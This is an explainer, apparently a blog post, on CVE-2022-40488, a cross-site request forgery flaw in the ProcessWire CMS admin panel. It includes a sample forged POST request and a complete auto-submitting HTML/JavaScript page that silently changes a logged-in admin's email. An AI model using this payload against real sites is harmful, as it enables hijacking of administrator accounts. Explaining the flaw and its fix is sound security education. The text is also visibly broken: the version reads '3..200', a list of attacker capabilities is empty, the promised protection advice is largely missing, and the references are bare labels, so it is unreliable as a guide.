ProcessWire, a popular open source CMS (Content Management System) written in PHP, aims to make website development easy, secure, and robust. However, security vulnerabilities sometimes sneak into even the most careful projects. One of them is a Cross-Site Request Forgery (CSRF) flaw found in version 3..200, tracked as CVE-2022-40488.

In this long read, we’ll break down in simple language what this vulnerability is, how an attacker might use it, and how you can protect your site. We’ll also cover an example of how the exploit works, with clear code snippets, and offer references for your own research.

What is Cross-Site Request Forgery (CSRF)?

CSRF is a type of web security vulnerability where a bad actor tricks a logged-in user into performing an action they didn’t intend – like changing their email, adding an admin, or deleting data – just by visiting a link or loading a web page. It happens because the website accepts requests without checking if they really came from the user.

Type of Vulnerability: Cross-Site Request Forgery (CSRF)

- Potential Impact: An attacker could trick a logged-in admin into performing actions, like changing site settings or user passwords.

Original Advisory

- NIST National Vulnerability Database Entry
- Exploit-DB Entry

The Problem

In version 3..200, certain route handlers in the ProcessWire admin panel don’t verify a unique security token (often called a CSRF token) when accepting POST requests. This means if an admin is logged in and visits a malicious site, that site could send requests to the ProcessWire backend on their behalf.

Common Example: Changing Your User Email

Suppose an admin is logged into their site's backend at /admin/. The form to update their own user profile’s email might accept a POST request like this:

POST /admin/profile/edit/ HTTP/1.1
Host: yoursite.com
Cookie: wire=YOUR_SESSION_COOKIE

email=newaddress@evil.com

Normally, the backend should require a CSRF token in the request. If it doesn't, a malicious page could silently submit this form in the background.

Step-by-Step Example Exploit

Let’s say Alice is a ProcessWire admin, logged into her site. She then visits Bob’s malicious website, which loads this HTML/JavaScript:

<html>
  <body>
    <h3>Oops! While you were here…</h3>
    <form id="csrf-exploit" action="https://yoursite.com/admin/profile/edit/"; method="POST">
      <input type="hidden" name="email" value="hacker@email.com">
      <input type="submit" value="Submit">
    </form>
    <script>
      document.getElementById('csrf-exploit').submit();
    </script>
  </body>
</html>

When Alice visits Bob’s page, her browser (because she is still logged in to yoursite.com) will automatically include her session cookie. This form gets POSTed to the ProcessWire backend, changing her email without her knowledge.

How Bad Can It Get?

The above example is pretty basic, but if there are other sensitive actions (like creating new superusers, deleting content, or changing passwords) that lack CSRF protection, an attacker can:

Responsible Patch: How Did ProcessWire Fix It?

The ProcessWire team introduced proper CSRF protections to the affected endpoints soon after the vulnerability was reported.

Key Fix:  
- Every sensitive form/action in the backend now checks for a valid CSRF token before processing the request.

If the token is missing or invalid, the action is rejected.

Example Patch Reference:  
GitHub Commit Example

Use Unique Admin URLs:

Don’t use default URLs like /admin. Customize them so attackers don’t know your entry points.

In Conclusion

CVE-2022-40488 is a great example of how a missing security step can lead to real-world risks – but also how open source communities respond and fix issues quickly. If you use ProcessWire, update your installation immediately and make sure to follow basic web security best practices.

References

- CVE Entry on Mitre.org
- NVD Entry
- Exploit-DB Entry
- ProcessWire Official Site
- OWASP - CSRF Explained

Timeline

Published on: 10/31/2022 12:15:00 UTC
Last modified on: 11/01/2022 17:31:00 UTC